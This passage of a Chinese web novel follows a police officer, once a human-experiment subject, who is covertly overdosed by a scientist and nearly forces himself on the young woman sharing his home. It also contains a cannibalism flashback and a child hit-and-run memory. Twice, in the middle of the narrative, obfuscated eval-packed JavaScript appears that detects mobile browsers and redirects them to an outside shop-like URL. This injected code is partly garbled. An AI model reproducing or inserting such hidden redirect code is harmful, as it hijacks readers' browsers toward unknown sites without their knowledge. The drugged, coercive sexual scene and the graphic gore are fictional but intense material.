“那也是一百年后,”小女孩闪开他,哼着鼻子去贴公冶,“这一百年里我嫁给谁不好,偏要素着身子等你?我蠢是不蠢?你少扒拉我。” 公冶看着朗院长负手走来,愁道:“您管管吧,这都说的什么,今年联欢会千万别让他们上台。” “我还要问问你们,往图书室塞了些什么书,我前天整理,翻到一本《丫头再撩我一次》,哪个兔崽子放的?” “极乐,”公冶大义灭亲,捅出罪魁祸首,“她不做人了,肯定她放的,您赶紧收起来,他们这年纪该看点有营养的。” “放心吧,早被我截胡了。” “……院长,”公冶微不可察地往后一撤,表情复杂,“您还好这口?” 朗玉山哈哈大笑,一双桃花眼挑如弯月。这个坏男人年逾四十,面部保养得吹弹可破,其恐怖之处就在于出门在外大伙都以为他是刚毕业的应届生。 “你今天上我这干嘛?”朗玉山和跑来的小孩击掌,耶了一声,“给自己放假放得好好的,怀念上班的日子了?” “没有,我等张主任,”公冶垂着眼睫,说,“他受邀参加市文联活动,顺便来给我做检查,人还没到。” “怎么又来,去年十月不检查过么,这次连理由也不编了?”朗玉山依旧笑着和孩子们互动,“官当得清闲……哎不对啊,他瑶光省的上我们歌华市文联做什么?” 朗院长作为一名合格奶爸,每天办公室和儿童房两点一线,得空也就蹲蹲新闻联播,哪爱理会死对头在各界的风骚走动。公冶无心揶揄,只说:“他在文艺界挺吃得开,跟歌华宣传部部长有交情,前年在G刊发表的关于绿眼人基因改造的论文轰动一时,这次算特邀人士请来的,”他抬手看表,“定的十点,迟到快半小时了。” “人家有身份了,可不得候着,”等孩子散光,朗院长坚如磐石的笑容被风刮走,吊起一副阴沉的臭脸,“他旅行青蛙啊,在家就闲不住?” “别这么说青蛙,”公冶想到了邓烟雨的青蛙水杯、青蛙发箍,“旅行青蛙可爱多了。” “一天到晚藐视常规,我总部是他后花园么?想来就来?”朗玉山对张烬去哪都刷脸的行为不胜其烦,一顿吐槽后拍拍公冶的肩,“他给你检查完,你再来我这,我帮你娄一眼。” 无非是测心肺血压和注射药剂,再者他也不放心邓烟雨独自在家:“如果没异样,我就回去了,不浪费您的仪器和时间。” 朗玉山:“你好孝顺啊。” 公冶:“应该的。” 朗玉山还没来得及调侃,余光瞟到前面办公大楼高处,有一个人立在落地玻璃窗前,他示意公冶,两人一同回过头。 张烬伫立在那,微笑观察着他们,已经很久了。 “我昨天就到歌华了,出席开班仪式,没时间来,今天他们外出采风,我不打算陪了,抽空来给你看一看。” 总部五楼的会议室,一身中山装的张烬将包中设备摆上长桌,笑容得体地坐在托着下巴情绪平平的公冶身边。 他行将奔五,但身材保持得不错,最怕走样的地方反而锻炼得蛮匀称,头发也没掉,梳得一根不乱,那张脸兼具温和与刻薄,美化了满眼的老谋深算。 “什么时候走?”默了半晌,公冶这样问。 “明天下午。”张烬按照往常检测了公冶的心肺数值。他年轻时是医科大学尖子生,这点操作不在话下。 他为公冶绑上袖带,同时对倚在门边的男子说:“熊指挥官,我有话要单独和渡莲说,麻烦您回避一下。” 熊小滚从接待他到现在,一直贡献着“来者皆是客”的无瑕演技,张烬此刻抛来的这声要求并不过分,却还是换来了他一道“恕难从命”的尖锐眼神。 一室淡淡的火药味,公冶向熊队递去一眼。 他们之间的私事也不宜过多插手。见他同意,熊小滚再坚持也属枉然,海阔天空地合上门去外面待着了。 臂膀承受着一股持续挤压的外力,最大程度收缩至紧固状态,张烬关注着血压计上跳动的数值,并不废话。 等结束,他慢悠悠拆着袖带,说:“我好意外啊。” 公冶:“什么?” “我以为你讨厌接触异性,”张烬的目光移去他脸上,“没想到你还能和人家住在一个屋檐下,看来是个可爱的女孩子。” 公冶抬眸:“你调查我?” “哪的话,”张烬豁达地笑了,“这不人尽皆知吗?” 凭张烬的本事和人脉,随便提一句就能要来他在歌华的行踪轨迹,精准到他进哪家便利店买了什么口味的三明治。 公冶神色阴郁,但求这次检查快点结束。 “你和她之前认识吗?” “这和你没有关系。” “如何没有,”张烬取出一只黑盒,打开,里面填充着黑色海绵,海绵内躺着三支光泽沉淀的注射器,“再过两年你就回瑶光省了。其实我认为你今年就能回来,我的直觉一向很准。” 手臂抹上碘伏,冰凉,带着消毒剂气味,公冶瞥了眼盒子,是平时打的。 “你妈妈特别想你。” 此话一出,公冶原本只是有点赌气的表情发生了变化,他人一动,导致那根针没能顺利刺进血管:“别动。”张烬责怪道。 阳光穿透窗户,描摹出注射器轮廓的锋芒。推动活塞,针尖重新扎入,不见颜色的液体往他体内钻去。 “你有什么话,想要我提前转达给她的吗?”张烬问。 公冶盯着他逢人三分笑的脸,后槽牙默默咬紧,黑发微遮凌厉的眼,像头枭视狼顾的困兽在暗笼里徘徊。他说:“没有。” “如果你今年不回,我就接她来看你,怎么样?” 公冶语气疏离得六亲不认:“我不想见你们。” 打完第一针活血剂,张烬再次检测他的身体机能指数,记录下来,最后为他注射镇静剂,各种药液往身体里流,令他非常不快。 “那可由不得你,渡莲,我们才是一家人,你这叛逆期……也太长了吧?”药物一滴不剩注入他的体内,张烬任务完成了,满意地一笑。 “这么不听话,该怎么惩罚你?”他收拾着桌上的设备,用极其绵柔的语调叫道,“ce-408。” 公冶听着这个编号,未予回复,但眼睛已经瞪大。 “ce-408,你在歌华的日子太逍遥了是不是?连你母亲都不闻不问。” “你可听过一则故事,一只肠胃脆弱的小白鼠,它处心积虑跑出实验室,来到大城市,却和阴沟里的老鼠吃不到一块去。知道自己迟早饿死,它为了活命还是回到了赖以为生的实验室,因为在那里,就算断手断脚也不会死。” “出去——才是死路一条。” “听懂这个故事了吗,ce-408?” “回答我。” 张烬撑住桌案,缓缓逼向公冶:“回答我……”他声如蛇蝎吐信,恶意淋漓地靠过来,“ce-408。” 砰—— 会议室的大门撞上墙,泛出简短的余音。张烬眯眼望去,熊小滚周身的气息已降至冰点。 “完事了吗,张主任,”熊小滚做了个“请”的手势,“完事了就劳驾你移动玉步告辞吧,我的下属还有很多事要忙。” 张烬起身:“既然如此,也请熊指挥官再照顾他一阵,”他一如来时那么亲和得体,手不轻不重按在公冶柔软的头发上,“这孩子在瑶光就顽劣,调来歌华的时候还没驯温呢,劳您费心。” “他非常优秀,您这话欠妥了。”熊小滚恨不得一掌拍开他那只手,咬牙切齿地微笑,恭送他出门。 人走了,公冶还坐在那。 “影青。”熊小滚叫他。 他无动于衷,没有丝毫反应,像钉住了。 “影青?” “……” 熊小滚望着他低落、屈服的模样,胸中酸涩,他喊道:“阿冶!” 听见这个称呼,公冶总算有了点反应,去看熊小滚。 “不要去想,”熊小滚正视着他茫然的双眼,坚定地说,“那个编号从来不是你的名字。” 会议室落满晨光,绿植健康地生长。公冶被吞噬的体温逐渐恢复,他按着桌面站起来:“我先回家了。” “不,你在单位观察半小时,没问题再走。难受就找朗院长。” “好的。”手臂隐隐发胀、刺痛,和之前无差。公冶轻微活动肌肉,被楼下同事叫去帮忙,留了将近一小时,便开车回家了。 邓烟雨四仰八叉躺在沙发上睡得香甜,肚子上摊着一本漫画。公冶走近,将毛毯盖到她身上,看了眼时间,决定让她再睡会儿。 半小时后,邓烟雨被饿醒,她步履轻飘来到玄关那,见放着车钥匙。 “公冶警官?”她像小蝌蚪找妈妈,叫了他两声。 “我在书房。”公冶回应她。 “你回来了怎么不喊我……”她揉眼,炸着一头卷毛,趿着小青蛙拖鞋往书房走,打了个哈欠。 “你这个点怎么在呼呼大睡?”公冶坐在地上,戴了副无框眼镜,浏览着一地书籍和地图图纸,似乎在查找什么,嗓音淡漠。 “昨晚熬夜了……” 邓烟雨心不在焉说着,注意力全放在他那张销魂的脸上。她从没见过他戴这种细致的眼镜,若是表情再狡猾一点,斯文败类的味道就一下子杀出来了。 “你近视吗?” “不近视,”公冶翻过一页纸,说,“我今天去体检,注射了药剂,它会导致我几小时内眼花,看东西只能戴眼镜。” “这样啊……”邓烟雨食指绕着卷曲的发梢,勇气可嘉地说,“你戴眼镜真好看,像个文质彬彬的坏蛋。” 公冶合上书,手臂搭着膝盖,慢吞吞去看她,眼里勾着点诱惑的东西。 “对对对!”邓烟雨捧住脸,开心得冒花,“就这个表情,天呐,比电视剧里的大反派还要帅,哇哈哈哈——” 他无语地看她在那蹦蹦跳跳,说:“我要一直这个表情,不出三天就面瘫。” “但是好帅啊!” “帅能当饭吃吗?” “能啊。” “……” 说不过她的。公冶看不进书了,起身:“去吃饭吧,我叫了。” 午饭基本由邓烟雨负责解决,公冶没胃口,他这种柔弱不能自理的症状将持续一下午,到晚上便会好转——他喝着水这么宽慰自己。 可到了晚上,症状依然在。 “吃不下,你吃吧。”公冶靠在沙发里,长指压覆眉边,焦躁感明显,伴随着低气压浮于表面。 “很不舒服吗?” “……有点,估计这次注射的剂量大了。”公冶移开手指,目光轻轻掉在邓烟雨脸上。她蹲在沙发边,脸蛋水灵灵的很好捏,他心里越发混乱了。 “要打小银管缓解吗?”邓烟雨担心地问。 “八小时内不能打,”公冶疲惫地说,“会和之前的药剂产生排斥反应。” 邓烟雨束手无策挨着他,像只陪在生病的主人身边干着急的乖宠。 公冶胸膛里热得难耐,扼制着眼底的冷火,问:“现在几点?” “六点半多。” “我睡会儿,八点叫我。” “好的。” 八点整,邓烟雨准时叫醒了他,他坐起来,感觉身上的症状褪去了。 他吃了邓烟雨温在锅子里的秋葵蒸蛋,状态轻松得像个没事人,邓烟雨悬着的心也平安落地,刷了刷手机,九点半去洗澡了。 洗完出来,她见公冶在咬零食,一脸的不爽。 电视机里播着笑声嘈杂的综艺,音量不大,她去厨房倒水,一抬头,亲眼见公冶把最爱的pocky当垃圾似的嫌弃一甩,丢在茶几上。 邓烟雨:“……” 他从头到脚,连一缕头发丝,都在散发着莫名的焦渴暴躁。 “公冶警官,你还好吗?” “我好得很,牙痒而已,”公冶死盯着电视屏幕,安慰她,“一个阶段,不要紧的,你去睡吧。” 然而将近十二点,公冶意识到这个阶段怕是过不去了。 他给熊小滚打了电话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579287|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “现在把邓烟雨接走?”熊小滚坐在床上看材料,人都懵了,“啊,你和极乐联系不上吗,怎么打我电话了?” “极乐下了班就跟人间蒸发一样,斗香多半是睡了,半天不回我,还有其他人可以交接吗?” “我这边上交的‘接管公美’只填了极乐和斗香。” 公冶无话可说:“你这方面总是那么谨慎。” “女公美就那么几个,现在部门缺人,不可能都填上,”熊小滚说,“你很不舒服?不是观察了一小时没问题吗?” “张烬好像给我打猛了,以前也有过同样的症状,但从没像今天这样消退不下去,”公冶颠着腿,焦灼的目光来回梭巡,“我要不冲个冷水澡?” “冷水不行,你要洗就温水,出来还不舒服,马上给我打电话,我让极乐来接邓烟雨。” “好。” 公冶挂了电话,二话不说钻卫生间洗去了。 邓烟雨看完漫画,暂无困意,想起最近有一部很火的刑侦剧,庆威凤和蔡蔡安利她的,决定在平板上刷一集。 找了找,发现平板不在卧室,那就是放在客厅沙发了。 打开门一瞧,走廊亮着灯。她一溜烟跑到客厅,本想看看公冶怎么样,结果人不在。 邓烟雨拿了平板,往回走,在经过客卫时听见门咔嗒一声,打开了。 她转过头,目光正正迎上没穿衣服走出来的公冶。 热气先拂了她一脸,随之撞入眼帘的是一个成年男人健硕挺拔的身躯,一条白毛巾搭在他沾水的肩颈处。 他上半身裸着,没擦干,腹肌淌落水珠,显得肌肉更精壮了,人鱼线也露了出来,但不多,最性感的部分隐没在松垮的裤腰带内。 还好,他穿了长裤。 不过腰带没系,就这么松松挂在有劲的腰腹上,随手一扯就会泄出春光。 邓烟雨嗓子一干,人往墙上栽去。 公冶用毛巾擦了擦头发,才从垂落的湿发里瞧见邓烟雨:“还不睡?” “嗯……”邓烟雨搂紧平板,说,“你怎么在洗澡……” “不舒服就洗了下。” “现在呢,还、还不舒服?” “好些了。”公冶如实相告,擦着头往客卧去,随着手臂抬动,那宽阔张弛的肩背、性张力满满的腰,一览无遗地冲击到邓烟雨眼底。 非常有力量,不管做什么事,不管什么姿势,都非常有力量…… 邓烟雨跌跌撞撞跑回卧室,希望接下来看的这部刑侦剧多几幕血腥镜头,好吓光她脑袋里的十八禁。 公冶不冷,从衣柜里翻出一条白短袖,套上以后返回客厅。 四肢的燥热确实洗掉了,麻烦的是心脏那里,撞动声略强,跳得有点快。 禁止打镇血剂的时限已过去,以防万一今晚还是备几支。公冶取出茶几下的盒子,打开一看,里面空空如也。 他愣住了,急忙翻找每件衣服的口袋,最终在警服里找到一支。 一支够吗? 裤子里有吗? 他把房间翻了个底朝天,确定仅存这么一支。 冥冥中,熊队语重心长的训诫循环响彻大脑:“随身!携带!镇血剂!” 黑发坠着水,他一把掠向后头,拧起的眉间布满悔恨。 算了,先凑合吧。他徒劳地认清现实,握住门把手时又蓦地驻足。 对了,卧室的床头柜还放着一盒,整整一盒,是邓烟雨住进来前特意锁在抽屉里以备不时之需的。 公冶站在走廊上,犹豫片刻,折返了脚步。 主卧的门虚掩着,开了条缝,里面有灯光。 “我能进来吗?” 听见这声,邓烟雨缩在被窝里的双腿下意识并拢:“……可以。” 公冶推开门,里面大灯没开,亮着两盏暖黄的床头灯。他没看她,快速路过床尾,走向右侧的床头柜。 “怎么了?”邓烟雨问。 “我拿小银管。”公冶吞咽时,喉咙毛毛的,他觉得房间里闷,兴许是开了空调的缘故,让他再次发热了。 快点出去。 他心里催促自己,急急摸出台灯下的钥匙,打开床头柜第二格抽屉,果然里面有一盒,沉甸甸的一盒。 邓烟雨在看他,暂停了平板里的剧,掀开被子朝他爬去。 他心乱,没注意到,于是邓烟雨就跪坐在床边,伸手,拉过他挂在肩颈上的白毛巾。 “你头发好湿啊,要及时擦干,不然会头痛的。” 公冶是半跪状态,仿佛臣服在她的膝下,所以邓烟雨轻而易举拿毛巾裹住他的脑袋,呼噜呼噜擦了几下。 她身体前倾着,头发洋溢着洗发水的香气,洒在呼吸里,不加束缚的柔软胸部挺出弧度,亲密贴合着睡衣,离他的脸仅咫尺之距。 太犯规了。 公冶的双眼霍然失光,抓着镇血剂盒子的手暴出青筋。 就不该睡觉,不该吃甜食,不该洗澡——通过无数途径抑制下去的邪火憋着一口不甘心,在他身体深处窥探伺机许久,早已怒不可遏。 可这股邪火来得不明不白。 和偶尔生理上的需求完全不同。 它是突然杀至的,陌生、凶猛、恶毒、桀骜不驯、侵夺力十足,拼力同化他的神智,疯狂渴求他做出进攻。 不可以…… 他的手伸出,惊电一般攥住邓烟雨的手腕——想要把她推开! 可来不及了。 邪火哄地蹿顶,捷足先登,杀气腾腾霸占了他的思维和意识。 公冶翠绿的眸子震颤了一下,紧接着,他的瞳孔急剧变细,宛如黑暗中绿幽幽的猫眼,窥见了躲在草丛中洗翅膀的肥美小鸟,愉悦地竖起了尾巴。 雪白的毛巾悄声落下,露出一张带有危险气息的,邪情的脸。 邓烟雨骇然:“公冶警官……?” “公冶警官,你,放开我……” 掌中猎物被他捏得喊疼,掰着他的手,欲逃开。下一刻,他将邓烟雨狠狠压到身下。 “呜呃!” 邓烟雨摔向蓬松的大床,还没来得及喘口气,上方就覆来一个人。 又是这样的场景,她被困在了一方再也爬不出去的阴影里,压倒性的力量笼罩着她,蛮横地囚紧了她。 苏赞的笑声,吸毒美的热气,顶级美食家的凝视,一点点都回到了身体上。 又是这样的场景,可又,不太一样。 她无法思考,只是和他妖冶冷亮的竖瞳对视。 陌生的人,陌生的男性气息,陌生的体香,和……熟悉的爱意。 心脏好疼,好紧张,好害怕,却……拿不出理由拒绝他。 “先……不要……” 邓烟雨声线发抖,手腕被他扣得生疼,公冶忽然松开,抬手撩她鼻梁上的凌乱发丝,连着额头几缕刘海一起撩上去,然后俯身,吻住了她。 她惊愕地呜了一声,嘴唇被撬开。 收不住了。 他们唇齿相交,吻出了激烈又瑟缩的声音。 35. 晦夜 台灯泻下一段光,昏黄地勾勒出床上两道拥紧的身影,上方的人动了情,压制得很用力,短时间内分不开。 邓烟雨被吻得眼眶潮湿,苦于缺乏经验,做不出太多回应,她不自觉地仰起脖颈,生涩地应付了几回实在招架不住了,对方不换气,她呼吸快要枯竭,不得不狠心去推开他。 他没再扣着她,专注于自己的事。邓烟雨使了点巧劲,摸到他胸膛,这人身上好烫,发了高烧般不清醒,体温如燎原大火暴盛地虐向她。 邓烟雨好怕他就这样活活烧干过去,含糊地哽出一声,发软的手指蹭着舒适的衣料往上,攀住他本该赋予安全感的肩膀,使劲往外推—— 像在推一座山,这点抵抗在公冶这漾不开水花。邓烟雨中途软了一把,再锲而不舍发起反击,公冶被挠得不舒服,起身给她半秒空隙换气,再次吻住。 好热。她头脑混沌,瞪大双眼,男人浓密的长睫轻扫脸颊,带出暧昧的痒意,再这样下去,她真就要妥协了。 邓烟雨略作调整,锁得不那么牢的右腿弯上来,膝盖顶住对方腹部,手脚并用把人往上拱。 姿势确实有点滑稽,可现在不是笑的时候。 她承认幻想过类似的画面,甚至曾大胆地在他颈边种了两口标记,但都比不上现实里的轰烈与猝不及防。她也再次意识到彼此的体型差有多夸张。 她看向自己抬起来的大腿,跟他的手臂几乎一个粗度。 能推得动他就怪了,除非她也是美食家,还有成分和他在床上过几招。 “让我……”邓烟雨错开湿乱的嘴唇,“换个……”男人显然懒得听,不容置喙地堵回去,“气”字在肆虐的架势里沦碎溃散。 所幸两人肺活量都挺足,五分钟激战下来,公冶总算饶过了她。邓烟雨侧过身,大口大口攫取新鲜空气,咳嗽了几声,视野如水纷乱。 脑海里涌起的第一个念头,是初吻被莫名其妙夺走了。 而且夺走她初吻的男人并不自知。邓烟雨感觉胸中有股气塞着,可又发泄不到他头上。 公冶情况不太对,他也在喘,万分痛苦地喘,眼眸冷得沸腾,细细的瞳仁里颤出滚烫的火来,看这模样,像是给劲猛的药物蒙了头。 怎么办,是发情了吗,怎么会毫无征兆发情? 他要再来一次,邓烟雨双臂挡脸,叫着不行不行,而他的理智早飞去了九霄云外,哪管得着邓烟雨在抗争什么,扯开碍事的手臂就俯下身。 半湿的黑发在空调风下吹干了,他浑身上下没有一处不热,生生把邓烟雨也带进一片熔岩里,火浪将他们颠簸到了一起。 她不推他了,无助地泛开泪,有几次竟欲拒还迎地配合了起来。她往边上挣揣躲避着,瞥见地毯上滚开一只盒子,里面倾泻出数支银色针管。 针……给他打针! 仿佛在喷发的岩浆里抱到了一块冰,邓烟雨目光瞬亮,迎合着他愈渐熟练的技术,张开嘴巴绝情地咬下,直把他咬出闷哼,偏过头。 身子一滑,从他臂膀下灵活钻出,邓烟雨大步飞扑到盒子那,顾不得满身的松垮不整,手忙脚乱把所有针管拢过来,都没察觉身后逼近的高大身影。 “呃啊——”邓烟雨还没抓稳这些针,就被他拽起胳膊,一把抱起。 啪啦啦,轻微的摔落声——针全掉了,在他们周围银光迸溅洒了一地,金属玻璃的质感暗暗折射在地毯里,犹如粒粒莹石碎散于无边黑暗。 这个高度引起一阵剧烈摇晃,她吓得去搂他脖子,乌黑如瀑的卷发遮笼了男人的脸。 手里仅剩一支镇血剂,被她湿漉漉的五指握得要裂。她重心找不稳,双腿不由自主勾上他的腰胯。 “公冶警官……”明知他才是那头毒兽,但邓烟雨受惊之后,本能地往他身上贴靠,她缠紧他,“太高了,你放我下来。” 凹凸有致的玲珑躯体紧密按压,刺激着他的獠牙。 他的感知失灵了,也没失灵,身体不管哪里皆处在剑拔弩张的边缘,体内碰撞着冰火两重天,邪火不仅掌控提紧他的意识,还把他神智上名为清醒的东西掼成碎渣,他如同淹在大海里捞针,一丁点正常思维都拼凑不回。 他眼睛冷疯了,大手托着她炽热的臀部,说:“不要。” 还能说话,还能交流!邓烟雨仿佛攥到一丝希望:“你清醒一点!我们打针好不好,你进来不就是拿小银管吗,我马上给你打唔——等等!” 他迅猛的臂膀将邓烟雨往高了一送,扛上肩头。邓烟雨磕着胃,扭头一看又要回床上,她蹬着小腿大叫,急忙拔掉针帽,抖着手往公冶背部一扎! 公冶微顿,把人丢进床里。 邓烟雨安全着陆,咕噜滚一圈,从被窝里抬出脸,见公冶只是盯着她,眼底那些捣碎的情绪波涛汹涌,淬砺生长,掀得比山还高。 她被他眼神里的占有欲浇得噤住了呼吸。 他的手朝背后探去,抓出那管血。 没打进,一滴都没打进。 邓烟雨绝望地看着他松手,满满一管鲜血就这样食之无味地被他扔了。 “针没用。”公冶气息灼热,靠近她,大手捏着她的脸,打量好久,邓烟雨感受着他指尖的摩挲,哆嗦地问:“那你要……吸我的血吗?” 吸血? 他要的是血吗? 的确,她的血比添加各种污七八糟玩意的小银管纯净太多,可他现在需要的是她的脖子吗? 【噔噔噔噔~】 蛋宝眨巴豆豆眼,瞅着气氛到位了,它来砸场了。 【亲爱的主人,现在是凌晨0点30分,蛋宝感应到房间内荷尔蒙分泌过剩上升过快,温馨提示,闺房之乐固好,但也需循序渐进,做好充足准备,保持心情放松,规范使用器具,预祝您度过愉快美好的一晚喔~】 邓烟雨:“……” 公冶:“……” 邓烟雨面无人色,快要吓死了,眼看着公冶杀人的视线不紧不慢钉过去,她匍匐冲上前,拔了蛋宝的插销,好歹帮它留了具全尸。 公冶转而盯她的后颈,染起热意的竖瞳松动了一下,随即恢复着魔状态,将她摁回床里。 “你是发情了吗,发情要,要打什么有用……”镇血剂可以压制暴动,也包括发情的暴动吗?她不知道。 扪心自问,在博物馆看了些啥啊,最重要的大分压轴题一眼没甩到! 邓烟雨被他往下一拖,钳住腰肢。她眼角噙泪,也不挣动,就看着他。眼前的男人美得凌厉,乱得带感,身上的一切都那么挺拔。 不是不愿意。她笃定他现在这个情况,第二天保准事后断片。 双方对峙不下,空气里激出一簇火花。她想起自己例假前两天刚好,现在是安全期,可这不代表能够乱来:“就算要……我们也得做保护措施……” 公冶亮晶晶的眸子直视她,不明白她的意思。 “套……”邓烟雨齿间滚热,说,“要戴。” “我家……”母胎单身还没啥情调的男人吞咽着,说,“没这东西。” “那就不行!”邓烟雨凶着一双泪眼,严词拒绝他。 “不乱来,”公冶简直变了个人,讨好地服软,“就让我亲一会儿。” 邓烟雨满脸写着我信你个鬼,眼神一落,僵硬地说:“那你解我扣子干嘛?” 鹅黄的小花扣子吧嗒弹开,她震惊地瞪着自己即将袒露的胸脯,男人的手速好丝滑,还遍布着可怕的劲力,她羞愤得一脚踹过去,踹不开,只好死死揪住这片薄陋的体面:“不要撕,这件睡衣是我最喜欢的。” “不要撕!听话!” “求你……”死到临头的她做出让步,“我……我自己来……” 公冶撒手,让她自己来,却见她往被窝里爬。公冶说:“你干什么?” “我要进去脱,有仪式感,你不懂。” 邓烟雨单纯是害臊,嘴上瞎说着,把自己罩进被窝里,这才软着手,一颗一颗去解,解到一半她自己都懵了,不懂为什么事情会演变成这样。 公冶多半是受药物影响鬼迷心窍,惹出了发情期,而她明明可以拒绝,或者直接报警,让他同事大半夜兼职上门扫个黄。 邓烟雨蜷紧脚趾头,回神时,扣子已解光。 “出来。” “不要……”邓烟雨缩成一团,埋在枕头上,“外面冷,我不要。” “空调开着。” “那也冷,”邓烟雨抓过枕头,挡前胸前,“你不会自己进来吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579288|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面长久地没出声,邓烟雨以为他在克制,刚要松气,便响起摩擦声,阴影倾到她身上,邓烟雨捂住眼,像个掩耳盗铃的贼。 他果然没说谎,不碰其他地方,只是怜惜地吻了她的唇,似乎发情期最难耐的阶段已揭篇,他现在有点精力思考了。 亲亲而已,没问题的吧。 邓烟雨这般想着,也萌生了心思,没发现公冶的竖瞳再一次出现铁树开花的松动迹象,搂着他的颈项,见他不动作,主动嘴对嘴啾了上去,小猫一样亲昵地表达爱意,把他好不容易松懈的那根弦再一次拉回来,绷直了。 享受之际,公冶的手摸到一块面积不大的凸起。 细密爬开,蜿蜒而上,和一旁娇嫩柔软的肌肤形成鲜明对比。 是条疤。 邓烟雨捉开他的手:“别碰我那里……” 听见这声,他的瞳孔终于大力震颤起来。 脑海里是逼仄的黑巷子,呼吸里是她的血腥味。 女孩捂着流血的腹部,虚弱地撑起头,坚韧地看向他的眼睛,没有露出丝毫怯意。 如山如海的回忆向上侵袭,公冶昏厥的“人性”重见光明,他难熬地埋倒在她颈边,怕伤害她,死命地咬牙。邓烟雨环着他肩背,慌张地叫他。 “镇……” “镇……血……” 他为了扳倒邪火,连獠牙也探了出来,尖尖地触在唇边,瞳孔忽大忽细,艰难地求着:“镇血……!” 声音卑微得不像人,他真正的意识回来了。 邓烟雨愣了一下,立马放开他,裹了睡衣爬出去找小银管,抓着针往他臂膀上一打,把所有的液体推送进去。 一支不够,邓烟雨注射了第二支、第三支。公冶扯裂了被单,他犹如俎上鱼肉置在滚水里烤,反复打压下去再厮杀上来的邪火冲得他血管几欲爆裂,他崩溃得冷汗直催,筋脉虬结,脑袋被药效恶狠狠掰开揉烂,钻心巨痛撕出胸腔。 他狼狈不堪滚下大床,往门外撞去,跪倒在门口的走廊上,暗哑惨厉的吼声抖得发狂:“关门!!锁上!!” 邓烟雨砰地关住门,听他的话立即锁上。 药效也在做最后的挣扎,愤力拆散他的骨架,他摔进卫生间,爬到淋浴的花洒下转开冷水,腹下的紧意在连续冲了十分钟之后仍未散去。 为什么会发情? 他冷得五官发白,遽然之间,那种吃过肉的恶心腻味泛上喉咙。 干净的大餐盘里,摆放着娇嫩的脑花、切片的心、肝部与肺部完整的肉、肠管挖空、肋骨洗净、毛发剃除。有的部位尚热,韧带未死,还在一鼓一鼓地动。 女人微笑着让他吃掉。 “呕——!” 他脊背弓至极限,胃里拧毛巾地绞死,汁水哗啦一顿全呕了出来,眼泪唾液因为用力过度随着呕吐物喷出。他恶心得停不下来,肩胛骨在一声声惨吐中痉挛弹跳,有散架的趋势,他仿佛吐光了当年咀嚼咽下食道的每一块肉。 在独玉分所接受人体实验被迫食肉、发情,已是人生最灰暗的时刻,他来到歌华以后戒得六根清净,兼之经过特训,身体从未犯起如此激烈的反应。 他差点伤害了邓烟雨…… 公冶吐得晕眩发虚,神智却异常清明。 为什么会发情?! 开到最大的水流唰唰砸地,他冷不丁一震,迟缓地转动脖子,那眼神,如白日见鬼了,凝死在自己的臂膀上—— 短袖打湿,皱起,露出的肌肉上,紫红色的针眼触目惊心。 …… “看来是个可爱的女孩子。你和她之前认识吗?” “别动。” “渡莲,我们才是一家人。” “这么不听话,该怎么惩罚你?” …… 注射器锋利的光,张烬满意的笑脸,一帧不落焊入大脑。 公冶像块石头不动。半晌,他砸破了坚固的墙壁,血混着水渍淌下,暴怒伸长的利爪在瓷砖壁上划出五道狰狞的深沟,刺耳至极。 他满腔的恨意,在这一夜灭顶地失了控,活似地狱里爬出的亡魂,那双眼迸射着阴鸷的毒光,目眦尽裂地爆发出声:“张、烬。” “我要杀了你!!” 36. 泪痣 邓烟雨整晚没睡。 她咬着手指,在房间里来回踱步,时不时走到门口聆听外面是否有动静,想开门,耳边却响起他摔门出去时痛苦的嘶吼。 人怎么样了? 她前面出汗了,关掉空调,抱膝坐在床上,握紧手机。 发了好多消息,没收到一条回复,她只能等着,目光定定地注视着反锁的房门。 周遭落针可闻,她听到了忧惧难捱的喘息,原来是自己的。 凌晨五点,邓烟雨睡着了,不知受了什么影响,她梦到了十几年前的那场事故—— 发动机的声音,由远及近,像滚滚雷鸣,邓烟雨坐在公交站台的长椅上,看着一辆车头笨重的SUV蹬足了马力朝自己轰声撞来。 保险杠贴脸的瞬息,她跳下长椅,调头跑离站台,驾驶员车技老辣,方向盘迅疾一打,车胎哧着尖声快准狠地撞上她,把人顶飞去空中。 整个过程不到五秒。 金曦正拿着手机通话,从天而降的车祸就发生在三米开外的地方,她反应过来时,瞳仁里已有一道细嫩的身影飞溅而起。 她无声无息瞪着孩子落地,手中的生日蛋糕也随之跌碎。 SUV撞完人,刹得一手好位置,连站牌也没剐蹭,它从容后退,轮胎在地面甩出鬼魅般的漂移痕迹,灰尘四起间,冲上大道逃逸得无影无踪。 排气管的汽油味飘出股焦烟,浓浓煽入鼻腔,经久不散,比父亲平时炒菜未及时抽走的油烟还呛鼻,再多一点,只怕整片草皮也要被点燃。 她活动一下湿透的眼睑,无意识地握住一根小草。 “小雨——” “小雨——!!!” 公交站台其他人当场吓没了魂,长久的死寂中只有金曦凄厉的哭叫,邓烟雨疼得胸腔送不出气,身体如浸泡在一口沸滚的火锅里,骨骼和那些肉片一块煮熟融化着,只差一个意识,眼珠便要涣散了开去。 “我的天……” “叫、叫救护车啊!” “谁看到那个肇事者的车牌了!” “狗娘养的撞小孩,活腻歪了啊?!” “这里是流枫路……人民公园公交站台……我孩子被……撞了……求求你们快……她才四岁……” 她听不清母亲的声音,只感觉一颗温热的泪珠落到脸上。 